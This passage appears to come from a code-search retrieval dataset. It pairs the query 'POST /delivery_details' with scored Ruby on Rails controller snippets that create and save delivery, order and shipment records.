@deck.cards.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "091176364a08bf059382bbcaefc8b310", "score": "0.6218667", "text": "def new\n @card = @deck.cards.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end", "title": "" }, { "docid": "fd15bc2a29b8d6a46bb5f1c22ceb9281", "score": "0.6216206", "text": "def new\n @phrase = Phrase.new\n respond_with @phrase\n end", "title": "" } ]
535c5071fab67a6f4f9a88214bffd950
POST /delivery_details POST /delivery_details.json
[ { "docid": "1f0354504d0d2ac2f1ffbbd6e8ab780d", "score": "0.7263523", "text": "def create\n @delivery_detail = DeliveryDetail.new(params[:delivery_detail])\n\n respond_to do |format|\n if @delivery_detail.save\n format.html { redirect_to(delivery_detil_url(@delivery_detail,page:@current_page), notice: \n 'Delivery detail was successfully created.') }\n format.json { render json: @delivery_detail, status: :created, location: @delivery_detail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delivery_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "355768806a449ce8b2139f9d775512cf", "score": "0.7842447", "text": "def create\n @delivery = Delivery.find(params[:delivery_id])\n @delivery_detail = @delivery.delivery_details.new(params[:delivery_detail])\n\n respond_to do |format|\n if @delivery_detail.save\n format.html { redirect_to @delivery, notice: 'Delivery detail was successfully created.' }\n format.json { render json: @delivery_detail, status: :created, location: @delivery_detail }\n else\n format.html { render :template => \"deliveries/show\" }\n format.json { render json: @delivery_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fabdab1da61fbf50c4eff3fdeb174ab9", "score": "0.7750307", "text": "def create\n @delivery_detail = DeliveryDetail.new(delivery_detail_params)\n\n respond_to do |format|\n if @delivery_detail.save\n format.html { redirect_to @delivery_detail, notice: 'Delivery detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @delivery_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @delivery_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8835e082734495496fe3f93df2376764", "score": "0.7522059", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n if @delivery.save\n render json: @delivery, status: :created\n else\n render json: @delivery.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e73f078322bc1e8dbca9e7a4a0572bda", "score": "0.7192569", "text": "def create\n @delivery = Delivery.new(params[:delivery])\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to @delivery, notice: 'Delivery was successfully created.' }\n format.json { render json: @delivery, status: :created, location: @delivery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f6ce07a137803f32f52849eccdab833", "score": "0.7184872", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to @delivery, notice: 'Delivery was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f6ce07a137803f32f52849eccdab833", "score": "0.7184872", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to @delivery, notice: 'Delivery was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f6ce07a137803f32f52849eccdab833", "score": "0.7184872", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to @delivery, notice: 'Delivery was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f6ce07a137803f32f52849eccdab833", "score": "0.7184872", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to @delivery, notice: 'Delivery was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd7ca2fc3cba40fd0978fe8de5f9171d", "score": "0.71773076", "text": "def create\n @delivery = Delivery.new(params[:delivery])\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to deliveries_path, notice: 'Delivery was successfully created.' }\n format.json { render json: @delivery, status: :created, location: @delivery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2e46de1f7b6354c29a2232d353e8170", "score": "0.71409076", "text": "def new\n @delivery_detail = DeliveryDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery_detail }\n end\n end", "title": "" }, { "docid": "e3a27bf4bf3c08e8dc0abcb0f6f0acb4", "score": "0.7093383", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to deliveries_path, notice: 'Record was successfully created.' }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new, notice: 'Error creating Record,please try again ' }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63b035c43f747e08802d17116592f067", "score": "0.70569414", "text": "def show\n @delivery = Delivery.find(params[:id])\n @delivery_detail = @delivery.delivery_details.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @delivery }\n end\n end", "title": "" }, { "docid": "5b98dcc2ef337a4ea8a3b886c7261cd9", "score": "0.6998789", "text": "def create\n @delivery_slip_detail = DeliverySlipDetail.new(delivery_slip_detail_params)\n\n respond_to do |format|\n if @delivery_slip_detail.save\n format.html { redirect_to @delivery_slip_detail, notice: 'Delivery slip detail was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_slip_detail }\n else\n format.html { render :new }\n format.json { render json: @delivery_slip_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25156fe5744c0e1fc1211277242542d2", "score": "0.69760674", "text": "def create\n @status_delivery = StatusDelivery.new(status_delivery_params)\n\n respond_to do |format|\n if @status_delivery.save\n format.html { redirect_to @status_delivery, notice: 'Status delivery was successfully created.' }\n format.json { render :show, status: :created, location: @status_delivery }\n else\n format.html { render :new }\n format.json { render json: @status_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17bdfe803ce8de623e86241295cf85e0", "score": "0.6954352", "text": "def create\n @order = Order.find(delivery_params[:order_id])\n \n authorize! :deliver, @order\n \n @delivery = Delivery.new(delivery_params)\n @delivery.creator = current_user\n \n # Update sales delivery details\n if !params[:delivery_lines].nil?\n params[:delivery_lines].each do |item|\n if item[1][:quantity].to_i != 0\n detail = DeliveryDetail.new(item[1].permit(:order_detail_id, :product_id, :serial_numbers, :delivery_id, :quantity))\n @delivery.delivery_details << detail\n end\n end\n end\n \n #p @delivery.valid?\n #p @delivery.save\n \n #render nothing: true\n \n \n @list_path = @delivery.order.is_purchase ? deliveries_url(purchase: true) : deliveries_url\n \n respond_to do |format|\n if @delivery.valid?\n @delivery.update_stock\n format.html { redirect_to params[:tab_page].present? ? {action: \"show\", id: @delivery.id, tab_page: 1, export_ticket: (@delivery.is_return ? true : nil)} : @delivery, notice: 'Sales delivery was successfully created.' }\n format.json { render action: 'show', status: :created, location: @delivery }\n else\n format.html { render action: 'deliver', tab_page: params[:tab_page] }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc8a28aa77e850dbd2f9fee7030c6aee", "score": "0.6933056", "text": "def delivery_detail_params\n params.require(:delivery_detail).permit(:delivery_id, :order_detail_id, :quantity)\n end", "title": "" }, { "docid": "1bf3b8436f0a00701ed8f3ff1acfb05e", "score": "0.6884331", "text": "def create\n @delivery = current_user.deliveries.new(delivery_params)\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to @delivery, :notice => \"Delivery was successfully created.\" }\n format.json { render :action => \"show\", :status => :created, :location => @delivery }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @delivery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4fe6775e6dd7dc83fb107bda9530def", "score": "0.6844107", "text": "def delivery_details; message[:delivery_details]; end", "title": "" }, { "docid": "a3620a63722185c9a6113068f34c97d4", "score": "0.68356156", "text": "def create\n @delivery_item = DeliveryItem.new(params[:delivery_item])\n\n respond_to do |format|\n if @delivery_item.save\n format.html { redirect_to @delivery_item, notice: 'Delivery item was successfully created.' }\n format.json { render json: @delivery_item, status: :created, location: @delivery_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delivery_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f973976c285336bf8922640e29fe2b42", "score": "0.6823229", "text": "def create\n @delivery_item = DeliveryItem.new(delivery_item_params)\n\n respond_to do |format|\n if @delivery_item.save\n format.html { redirect_to @delivery_item, notice: 'Delivery item was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_item }\n else\n format.html { render :new }\n format.json { render json: @delivery_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a46edca900330ffe88e1dd637d205725", "score": "0.6801024", "text": "def create\n @delivery = Delivery.new(delivery_params)\n authorize @delivery\n respond_to do |format|\n if @delivery.save\n format.html { redirect_back_or_default deliveries_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @delivery }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90625aa3ba1ea08f693e82b6e7e7701c", "score": "0.67708856", "text": "def delivery_params\n params.require(:delivery).permit(:receiving_number, :transporter_id, :primary_plate_number, :trailer_plate_number, :driver_name,\n :fdp_id, :gin_number, :waybill_number, :requisition_number, :received_by, :received_date, :status, :operation_id,\n :delivery_details_attributes => [:id, :commodity_id, :uom_id, :sent_quantity, :received_quantity, :loss_quantity, :loss_reason])\n\n\n end", "title": "" }, { "docid": "0c567461580c202c73ad765adac71eb1", "score": "0.6760636", "text": "def new\n @delivery = Delivery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery }\n end\n end", "title": "" }, { "docid": "0c567461580c202c73ad765adac71eb1", "score": "0.6760636", "text": "def new\n @delivery = Delivery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery }\n end\n end", "title": "" }, { "docid": "0c567461580c202c73ad765adac71eb1", "score": "0.6760636", "text": "def new\n @delivery = Delivery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery }\n end\n end", "title": "" }, { "docid": "37194b052c258f5a4ddca59194b10a17", "score": "0.67597294", "text": "def create\n @request_delivery = RequestDelivery.new(request_delivery_params)\n\n respond_to do |format|\n if @request_delivery.save\n format.html { redirect_to @request_delivery, notice: 'Request delivery was successfully created.' }\n format.json { render :show, status: :created, location: @request_delivery }\n else\n format.html { render :new }\n format.json { render json: @request_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c567461580c202c73ad765adac71eb1", "score": "0.6759479", "text": "def new\n @delivery = Delivery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery }\n end\n end", "title": "" }, { "docid": "b4933447711be6b2cc2f5f87ef4fdef9", "score": "0.67557174", "text": "def create \n dp = delivery_params\n dp[:received_date] = toGregorian(dp[:received_date].to_s)\n @delivery = Delivery.new(dp)\n @delivery.created_by = current_user.id\n @delivery.status = :draft\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to deliveries_url, notice: 'Delivery was successfully created.' }\n format.json { render :index, status: :created, location: @deliveries }\n else\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c261e91913be8022131cf0af4f85e090", "score": "0.67535645", "text": "def create\n params.permit!\n @product_delivery = ProductDelivery.new(params[:product_delivery])\n\n respond_to do |format|\n if @product_delivery.save\n format.html { redirect_to @product_delivery, notice: 'Product delivery was successfully created.' }\n format.json { render json: @product_delivery, status: :created, location: @product_delivery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28a3d5003553abdbf509e83be91f39f7", "score": "0.67510635", "text": "def create\n @deliverymethod = Deliverymethod.new(params[:deliverymethod])\n\n respond_to do |format|\n if @deliverymethod.save\n format.html { redirect_to @deliverymethod, notice: 'Deliverymethod was successfully created.' }\n format.json { render json: @deliverymethod, status: :created, location: @deliverymethod }\n else\n format.html { render action: \"new\" }\n format.json { render json: @deliverymethod.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "387fccccf59e46dc787936256e4900bd", "score": "0.6728646", "text": "def create\n @delivery_entry = DeliveryEntry.new(delivery_entry_params)\n\n respond_to do |format|\n if @delivery_entry.save\n format.html { redirect_to @delivery_entry, notice: 'Delivery entry was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_entry }\n else\n format.html { render :new }\n format.json { render json: @delivery_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76140213138d0028113646550b64de0a", "score": "0.66785586", "text": "def create\n @shipment_detail = ShipmentDetail.new(shipment_detail_params)\n\n respond_to do |format|\n if @shipment_detail.save\n format.html { redirect_to @shipment_detail, notice: 'Shipment detail was successfully created.' }\n format.json { render :show, status: :created, location: @shipment_detail }\n else\n format.html { render :new }\n format.json { render json: @shipment_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fdc03db54856edf245e97f15c8a127f", "score": "0.6675841", "text": "def create\n @details_purchase_order = DetailsPurchaseOrder.new(details_purchase_order_params)\n\n respond_to do |format|\n if @details_purchase_order.save\n format.html { redirect_to @details_purchase_order, notice: 'Details purchase order was successfully created.' }\n format.json { render :show, status: :created, location: @details_purchase_order }\n else\n format.html { render :new }\n format.json { render json: @details_purchase_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8035ff5db6f5f95f11096fbab525497f", "score": "0.6659529", "text": "def create\n @delivery = Delivery.new(params[:delivery])\n\n respond_to do |format|\n if @delivery.save\n format.html { redirect_to(order_delivery_path(@delivery.order, @delivery), :notice => 'Delivery was successfully created.') }\n format.xml { render :xml => @delivery, :status => :created, :location => @delivery }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @delivery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb18f9c571cd5ee705afecb1a45981fc", "score": "0.66080284", "text": "def new\n params.permit!\n @product_delivery = ProductDelivery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_delivery }\n end\n end", "title": "" }, { "docid": "70285b4652d4a7f3548885eb452abc4a", "score": "0.6594175", "text": "def create\n\n @mail_delivery = MailDelivery.new(mail_delivery_params)\n\n respond_to do |format|\n if @mail_delivery.save\n format.html { redirect_to @mail_delivery, notice: 'Mail delivery was successfully created.' }\n format.json { render :show, status: :created, location: @mail_delivery }\n else\n format.html { render :new }\n format.json { render json: @mail_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d470bf7b88bb9c55e608151048b71cc", "score": "0.6586368", "text": "def create\n @detail_order = DetailOrder.new(detail_order_params)\n\n respond_to do |format|\n if @detail_order.save\n format.html { redirect_to @detail_order, notice: 'Detail order was successfully created.' }\n format.json { render :show, status: :created, location: @detail_order }\n else\n format.html { render :new }\n format.json { render json: @detail_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9f72bb25e982447e49036c77f6f166d", "score": "0.65789944", "text": "def create\n @food_delivery = current_merchant.food_deliveries.new(food_delivery_params)\n\n respond_to do |format|\n if @food_delivery.save\n format.html { redirect_to @food_delivery, notice: 'Food delivery was successfully created.' }\n format.json { render :show, status: :created, location: @food_delivery }\n else\n format.html { render :new }\n format.json { render json: @food_delivery.errors, status: :unprocessable_entity }\n end\n end\n @food_delivery.delivery_location_ids = params[:food_delivery][:delivery_location_ids]\n @food_delivery.delivery_service_type_ids = params[:food_delivery][:delivery_service_type_ids]\n @food_delivery.menu_item_ids = params[:food_delivery][:menu_item_ids]\n end", "title": "" }, { "docid": "fb4259da3db285c1937715f516c3cbee", "score": "0.65697783", "text": "def create\n @purchase_order_detail = PurchaseOrderDetail.new(purchase_order_detail_params)\n\n respond_to do |format|\n if @purchase_order_detail.save\n format.html { redirect_to @purchase_order_detail, notice: 'Purchase order detail was successfully created.' }\n format.json { render :show, status: :created, location: @purchase_order_detail }\n else\n format.html { render :new }\n format.json { render json: @purchase_order_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73becbdafbcabb8cb0b5bc125f1fbeff", "score": "0.65672123", "text": "def new\n @deliverymethod = Deliverymethod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deliverymethod }\n end\n end", "title": "" }, { "docid": "785f344925faeca13a7cffb3d84bdc23", "score": "0.6565347", "text": "def create\n @delivery_status = DeliveryStatus.new(delivery_status_params)\n\n respond_to do |format|\n if @delivery_status.save\n format.html { redirect_to @delivery_status, notice: 'Delivery status was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_status }\n else\n format.html { render :new }\n format.json { render json: @delivery_status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d545fbcae3bcf8030fe430da4db7304c", "score": "0.6545763", "text": "def create\n @offer_delivery = OfferDelivery.new(offer_delivery_params)\n\n respond_to do |format|\n if @offer_delivery.save\n format.html { redirect_to @offer_delivery, notice: 'Offer delivery was successfully created.' }\n format.json { render :show, status: :created, location: @offer_delivery }\n else\n format.html { render :new }\n format.json { render json: @offer_delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4273e5f0925b87e6f0f93b957e67fc8", "score": "0.6539917", "text": "def delivery_params\n params.require(:delivery).permit(:inventory_no, :supplier_name, :product_name, \n :description, :quantity, :batch_no, :manufacture_date, :expiry_date, :arrival_date,\n :receipient, :remark, :user_id)\n end", "title": "" }, { "docid": "73488c3369c080cef09cc7c26233256a", "score": "0.653943", "text": "def show\n @delivery_detail = DeliveryDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @delivery_detail }\n end\n end", "title": "" }, { "docid": "b34dcb3fdf292f5c5fcd241338b3abf9", "score": "0.65393376", "text": "def create\n @delivery = Delivery.new(delivery_params)\n if params[:delivery][:order_id].present?\n @order = Order.find(params[:delivery][:order_id])\n @orders = (@order.customer.undelivered_orders << @order).uniq\n end\n if params[:customer_id].present?\n @customer = Customer.find(params[:customer_id])\n @orders = @customer.undelivered_orders\n end\n @delivery.save\n @errors = @delivery.errors.full_messages\n respond_to do |format|\n if @errors.blank?\n format.html { redirect_to deliveries_path, flash: { 'alert alert-success' => 'Delivery was successfully created.' } }\n format.json { render :show, status: :created, location: @delivery }\n else\n @orders = []\n format.html { render :new }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1427a931bfc5bcedf21572eed7e72502", "score": "0.65266144", "text": "def new\n @delivery_item = DeliveryItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery_item }\n end\n end", "title": "" }, { "docid": "1c7846e2530c4805771a3cee751491ea", "score": "0.650333", "text": "def create\n @delivery_address = DeliveryAddress.new(delivery_address_params)\n\n respond_to do |format|\n if @delivery_address.save\n format.html { redirect_to @delivery_address, notice: 'Delivery address was successfully created.' }\n format.json { render :show, status: :created, location: @delivery_address }\n else\n format.html { render :new }\n format.json { render json: @delivery_address.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a16375aa3085fc6229210364d32766b9", "score": "0.6502625", "text": "def set_delivery_detail\n @delivery_detail = DeliveryDetail.find(params[:id])\n end", "title": "" }, { "docid": "171fd051772fc2bff28b8115f0ecebc2", "score": "0.65010315", "text": "def new\n @delivery_request = DeliveryRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery_request }\n end\n end", "title": "" }, { "docid": "cbfe70066841e12489e2374b9d0795a4", "score": "0.6496599", "text": "def show\n render json: @delivery, status: :ok\n end", "title": "" }, { "docid": "0bed0032b05060d8a01a9fd1b4783568", "score": "0.64807326", "text": "def create\n @order_detail = OrderDetail.new(order_detail_params)\n\n respond_to do |format|\n if @order_detail.save\n format.html { redirect_to @order_detail, notice: 'Order detail was successfully created.' }\n format.json { render :show, status: :created, location: @order_detail }\n else\n format.html { render :new }\n format.json { render json: @order_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d77821e43c693f3121e1f2117ba7b6b", "score": "0.64718145", "text": "def delivery_params\n params.fetch(:delivery, {}).permit(:apartment_number, :confirmed)\n end", "title": "" }, { "docid": "2a421f5610135fcb924b0e00db8357da", "score": "0.6460563", "text": "def create\n @detailorder = Detailorder.new(detailorder_params)\n\n respond_to do |format|\n if @detailorder.save\n format.html { redirect_to @detailorder, notice: 'Detailorder was successfully created.' }\n format.json { render :show, status: :created, location: @detailorder }\n else\n format.html { render :new }\n format.json { render json: @detailorder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af3008eab70e5977fc163522704ef3a5", "score": "0.6447903", "text": "def create\n @delivery_plan = DeliveryPlan.new(delivery_plan_params)\n\n respond_to do |format|\n if @delivery_plan.save\n format.html { redirect_to @delivery_plan, notice: '出货计划创建成功!' }\n format.json { render :show, status: :created, location: @delivery_plan }\n else\n format.html { render :new }\n format.json { render json: @delivery_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86a11919f0c471291ebb1256ee236e23", "score": "0.64395136", "text": "def create\n @order_detail = OrderDetail.new(order_detail_params)\n\n respond_to do |format|\n if @order_detail.save\n format.html { redirect_to @order_detail, notice: 'Order detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @order_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @order_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef80284e54eaddc5e3762ffb3be4de21", "score": "0.64329815", "text": "def create\n @delivered_order = @order.build_delivered_order(params[:delivered_order])\n\n respond_to do |format|\n if @delivered_order.save\n format.html { redirect_to(@order, :notice => 'Delivery details was successfully added.') }\n format.xml { render :xml => @delivered_order, :status => :created, :location => @delivered_order }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @delivered_order.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "02a8d44f543767a9d644e211e7d973f9", "score": "0.64259815", "text": "def create\n stay = Stay.find(params[:stay_id])\n roomservice = stay.roomservices.find(params[\"roomservice_id\"])\n order_details = roomservice.order_details.create(safe_params)\n render json: order_details\n end", "title": "" }, { "docid": "6f02fe6ac95273a8152cdc2b2caad4be", "score": "0.6422984", "text": "def delivery_params\n params.require(:delivery).permit(:name, :count, :unit_id, :contractor_id, :delivery_needed, :transport_company_id, :volume, :volume_unit_id, :dispatch_date, :arrival_date, :delivery_cost, :delivery_perunit, :delivery_payment_status_id, :delivery_status_id, :cost, :price_per_unit, :total_with_delivery, :vat, :delivery_document_id, :delivery_letter_id, :delivery_dest_id, :order_date, :commodity_type_id, :pack)\n end", "title": "" }, { "docid": "82c93ed30192fa00cb5d3a219438a2d4", "score": "0.6418969", "text": "def delivery_params\n params.require(:delivery).permit(:name, :address)\n end", "title": "" }, { "docid": "3b44a66b74189ed3bbc36fe6b766ddfb", "score": "0.64039373", "text": "def create\n get_data\n @purchase_detail = @purchase.details.create(params[:purchase_detail])\n get_data\n end", "title": "" }, { "docid": "5f5f48ab550c15604ef191cf8ede95f3", "score": "0.63901705", "text": "def create\n @details_dispatch_order = DetailsDispatchOrder.new(details_dispatch_order_params)\n\n respond_to do |format|\n if @details_dispatch_order.save\n format.html { redirect_to @details_dispatch_order, notice: 'Details dispatch order was successfully created.' }\n format.json { render :show, status: :created, location: @details_dispatch_order }\n else\n format.html { render :new }\n format.json { render json: @details_dispatch_order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ada509e6781654299ae360ae466563e0", "score": "0.6387663", "text": "def delivery_params\n params.require(:delivery).permit(:order_id, :logistic_id, :invoice_no, :remark)\n end", "title": "" }, { "docid": "4518d9e6092365d0abd6b2f350ccaeda", "score": "0.63858235", "text": "def update\n if @delivery.update(delivery_params)\n render json: @delivery, status: :ok\n else\n render json: @delivery.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ba6b3a2cf9ad6cc0366b8b3efaffa145", "score": "0.6383397", "text": "def delivery_params\n params.require(:delivery).permit(:date, :product_id, :sklad_id, :quantify, :aasm_state)\n end", "title": "" }, { "docid": "5b61712eb7f2f7cf1f1f5fa6ffe5f18b", "score": "0.6356923", "text": "def create\n @order = DeliveryOrder.includes([{ order_items: :meal }, :feedback]).find_by_order_id(params[:order_id])\n if @order\n feedbacks = []\n params[:feedbacks].each do |f|\n feedback = Feedback.new(feedback_params(f))\n feedbacks << feedback if feedback.save\n end\n render json: feedbacks, status: 201\n else\n render status: :not_found\n end\n end", "title": "" }, { "docid": "343d31b96cf91fb60f182a50f62949ed", "score": "0.6349611", "text": "def new\n @delivery_request = DeliveryRequest.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery_request }\n end\n end", "title": "" }, { "docid": "1b910f4f63e24fa45f688db7083df46c", "score": "0.6343944", "text": "def delivery_params\n params.require(:delivery).permit(:date, :amount, :loan_id)\n end", "title": "" }, { "docid": "1881a0ce8d15038cd01edec55f992a5e", "score": "0.6339017", "text": "def index\n @delivery_details = DeliveryDetail.all\n end", "title": "" }, { "docid": "13d791e794377505df0cd102afcc3e0d", "score": "0.6335668", "text": "def create\n @order = current_user.orders.new(order_params)\n @order.build_delivery(status: :received)\n @book = @order.book\n respond_to do |format|\n if @order.save\n OrderMailer.registration_mail(@order).deliver\n format.html { redirect_to products_url, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d272175d11db68ba46a42d93cf55ffa", "score": "0.6330614", "text": "def create\n @orders_detail = OrdersDetail.new(orders_detail_params)\n\n respond_to do |format|\n if @orders_detail.save\n format.html { redirect_to @orders_detail, notice: 'Orders detail was successfully created.' }\n format.json { render :show, status: :created, location: @orders_detail }\n else\n format.html { render :new }\n format.json { render json: @orders_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dea8818785c09962f7de8477b43781ac", "score": "0.63303655", "text": "def create\n @delivery_list = DeliveryList.new(delivery_list_params)\n\n respond_to do |format|\n if @delivery_list.save\n format.html { redirect_to @delivery_list, notice: 'Delivery list was successfully created.' }\n format.json { render action: 'show', status: :created, location: @delivery_list }\n else\n format.html { render action: 'new' }\n format.json { render json: @delivery_list.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51b16cc8bd0077169c48781bf6f3e8dd", "score": "0.63215524", "text": "def create\n @order = Order.find(params[:order_id])\n @order_detail = @order.order_details.new(params[:order_detail])\n\n respond_to do |format|\n if @order_detail.save\n format.html { redirect_to @order, notice: 'Order detail was successfully created.' }\n format.json { render json: @order_detail, status: :created, location: @order_detail }\n else\n format.html { render :template => \"orders/show\" }\n format.json { render json: @order_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49b1443a87b114fd8a5bfbd5d027977e", "score": "0.63214374", "text": "def create\n @delivery = Delivery.new(delivery_params)\n\n @delivery.type_id = InvTypes.first(:type_name => @delivery[:type_id])[:type_id]\n @delivery.station_id = session[:station]\n @delivery.add_date = Time.now.utc #utc\n\n respond_to do |format|\n if @delivery.save\n #在庫反映待ちへの登録\n AssetListsComp.new(:type_id => @delivery.type_id,\n :quantity => -(@delivery.quantity.to_i),\n :station_id => @delivery.station_id,\n :sync_flag => 0,\n :comment => \"出庫\",\n :sync_type => 2,\n :sync_id => @delivery.id,\n :add_date => @delivery.add_date).save\n\n format.html { redirect_to @delivery, notice: 'Delivery was successfully created.' }\n format.json { render json: @delivery, status: :created, location: @delivery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @delivery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ba4132cc515904247f43de272df678b", "score": "0.6317191", "text": "def create\n @shipping_detail = ShippingDetail.new(params[:shipping_detail])\n\n respond_to do |format|\n if @shipping_detail.save\n flash[:notice] = 'ShippingDetail was successfully created.'\n format.html { redirect_to(@shipping_detail) }\n format.xml { render :xml => @shipping_detail, :status => :created, :location => @shipping_detail }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shipping_detail.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4fb61ae02ee25926c93b4a2b51249ca", "score": "0.6316527", "text": "def create\n @delivery_unit = @delivery.delivery_units.new(params[:delivery_unit])\n\n respond_to do |format|\n if @delivery_unit.save\npath = pickup_delivery_delivery_unit_path(@pickup,@delivery,@delivery_unit)\n format.html { \n redirect_to( path,:notice => 'Delivery unit was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" }, { "docid": "c761a3e4a84f7fbabdf49f11115dc404", "score": "0.6313977", "text": "def delivery_params\n params.require(:delivery).permit( :quantity, :station_id, :type_id)\n end", 